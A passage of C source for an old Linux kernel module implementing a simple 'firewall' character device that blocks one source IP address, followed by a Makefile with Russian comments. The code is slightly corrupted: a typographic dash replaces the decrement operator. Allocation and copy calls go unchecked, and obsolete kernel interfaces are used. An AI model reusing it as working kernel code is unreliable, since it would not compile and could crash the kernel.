(FIREWALL_MAJOR,"firewall",&firewall_fops)) { printk("unable to get major %d for firewall device\n", FIREWALL_MAJOR); return -EIO; } return 0; } struct file_operations firewall_fops = { read: read_firewall, write: write_firewall, open: open_firewall, release: close_firewall, }; static int open_firewall(struct inode *inode, struct file *file) { if(MOD_IN_USE) return -EBUSY; if (MINOR(inode->i_rdev) != 0) return -ENODEV; if ((file->f_mode & 1) != 1) return -EBUSY; sf_entry_log=(struct data_log *)kmalloc(sizeof(struct data_log),GFP_ATOMIC); iph=(struct iphdr *)kmalloc(sizeof(struct iphdr),GFP_ATOMIC); sf_fw_chk = sf_check_packet; sf_fw_enabled++; sf_entry_log->ready=1; MOD_INC_USE_COUNT; return 0; } static ssize_t write_firewall(struct file *file, const char *buf, size_t count, loff_t *ppos) { if(count!=sizeof(struct iphdr)) return -EINVAL; int (*sf_fw_chk_save)(struct iphdr *, struct net_device *, int); sf_fw_chk_save = sf_fw_chk; sf_fw_chk = sf_fw_chk_block; copy_from_user(iph,buf,sizeof(struct iphdr)); sf_fw_chk = sf_fw_chk_save; file->f_pos += count; count = sizeof(struct iphdr); return count; } static ssize_t read_firewall(struct file *file, char *buf, size_t count, loff_t *ppos) { if (count!=sizeof(struct data_log)) return -EINVAL; if (sf_fw_enabled<=0) return -ENODEV; copy_to_user(buf,sf_entry_log,sizeof(struct data_log)); file->f_pos += count; sf_entry_log->ready = 0; count = sizeof(struct data_log); return count; } int sf_check_packet(struct iphdr *ip, struct net_device *rif, int opt) { sf_entry_log->addr = ip->saddr; if (ip->saddr == iph->saddr) { sf_entry_log->action = SF_RC_BLOCK; sf_entry_log->ready = 1; return SF_RC_BLOCK; } sf_entry_log->ready = 1; sf_entry_log->action = SF_RC_ACCEPT; return SF_RC_ACCEPT; } static int close_firewall(struct inode *inode, struct file *file) { sf_fw_enabled—; sf_fw_chk = sf_fw_chk_block; kfree(sf_entry_log); kfree(iph); MOD_DEC_USE_COUNT; return 0; } void cleanup_module(void) { if(MOD_IN_USE) { printk("firewall: busy - remove delayed\n"); return; } sf_fw_chk = sf_fw_chk_pass; unregister_chrdev(FIREWALL_MAJOR,"firewall"); return; } include make.options # Компилятор CC = gcc # Имя модуля module = sf_device.o # Флаги компиляции CFLAGS = -O2 -Wall -fomit-frame-pointer MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include sf_device.o: sf_device.c $(CC) -c $(CFLAGS) $(MODFLAGS) sf_device.c # Каталог с исходниками ядра LINUX = /usr/src/linux insmod sf_device.o rmmod sf_device